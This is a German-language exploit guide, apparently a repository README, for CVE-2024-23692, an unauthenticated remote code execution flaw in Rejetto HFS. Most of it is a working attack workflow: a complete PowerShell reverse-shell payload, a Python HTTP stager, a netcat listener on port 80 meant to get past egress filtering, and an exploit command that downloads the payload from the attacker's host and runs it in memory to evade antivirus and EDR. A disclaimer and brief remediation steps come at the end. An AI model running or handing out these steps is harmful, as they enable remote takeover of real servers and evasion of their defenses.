CVE-2024-23692 - Rejetto HFS Remote Code Execution (RCE)

Eine taktische Dokumentation und Exploit-Anleitung für CVE-2024-23692, eine nicht authentifizierte kritische Remote Code Execution (RCE)-Schwachstelle, die Rejetto HTTP File Server (HFS)-Versionen vor 2.3m betrifft. Diese Anleitung nutzt eine In-Memory Reverse Shell (RAM Only)-Technik, um signaturbasierte Antivirus/EDR-Erkennung beim Schreiben auf die Festplatte erfolgreich zu umgehen.

Haftungsausschluss: Dieses Repository und seine Inhalte sind ausschließlich für autorisierte Sicherheitsbewertungen, Penetrationstests, Bug-Bounty-Simulationen und defensive forensische Audits gedacht. Die unbefugte Nutzung gegen Drittsysteme ist streng illegal.

---

Credits & Referenzen

Die automatisierte Prüfvorlage, die in diesem Proof-of-Concept-Workflow implementiert ist, baut auf dem öffentlichen Repository auf, das entwickelt wurde von:

• Exploit-Skript-Quelle: VeryLazyTech - CVE-2024-23692

---

Exploit-Workflow (In-Memory Reverse Shell)

Diese Methode verwendet ein HTTP-Stager-Bereitstellungsmodell, um eine textbasierte Payload-Zeichenkette dynamisch in die Zielumgebung zu liefern und die Live-Ausführung direkt aus dem flüchtigen Systemspeicher (RAM) heraus aufzurufen.

Schritt 1: Das Payload-Skript bereitstellen

Erstellen Sie auf Ihrem lokalen C2/Angreifer-Server eine statische Textdatei namens index.html und füllen Sie sie mit dem folgenden PowerShell-TCP-Socket-Schleifencode:

\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()

Schritt 2: Den leichtgewichtigen Webserver starten

Öffnen Sie eine Terminalinstanz im vorgesehenen Staging-Ordner, der Ihre Payload-Vorlagendatei enthält, und starten Sie dann einen sofortigen Python-HTTP-Listener auf einem alternativen Port (z. B. 8080):

python3 -m http.server 8080

Schritt 3: Den Netzwerk-Listener initialisieren

Öffnen Sie eine zweite unabhängige Terminal-Sitzung, um den eingehenden persistenten Shell-Callback zu hosten. Es wird dringend empfohlen, Port 80 (oder 443) zu verwenden, um ausgehende Perimeter-Schutzmaßnahmen (Egress Firewall Filtering) leicht zu umgehen:

sudo nc -lvnp 80

Schritt 4: Den RCE-Exploit auslösen

Starten Sie die automatisierte Validierungs-Engine gegen Ihre Bereitstellungsinfrastruktur. Der Zielaufruf hakt die Befehlsverarbeitung über einen lokalisierten CMD-Ausführungs-Wrapper ein, um optimale String-Stabilität ohne Verlust von Parameter-Flags zu gewährleisten:

./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

Behebung & Gegenmaßnahmen

Um Kompromittierungen vollständig zu beseitigen und gefährdete Betriebsumgebungen zu beheben:

1. Beenden und stoppen Sie sofort alle laufenden Rejetto HFS-Bereitstellungsprozesse im gesamten Systembaum:

   Get-Process -Name *hfs* | Stop-Process -Force
   

2. Löschen Sie verbleibende Müll-Dateien oder nicht authentifizierte binäre Payloads, die sich in öffentlichen Schreibbereichen befinden:

   Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue
   

3. Aktualisieren Sie Bereitstellungsressourcen auf die gepatchte stabile Release-Version oder wechseln Sie die Integrationsinfrastruktur zu modernen sicheren alternativen Plattformen.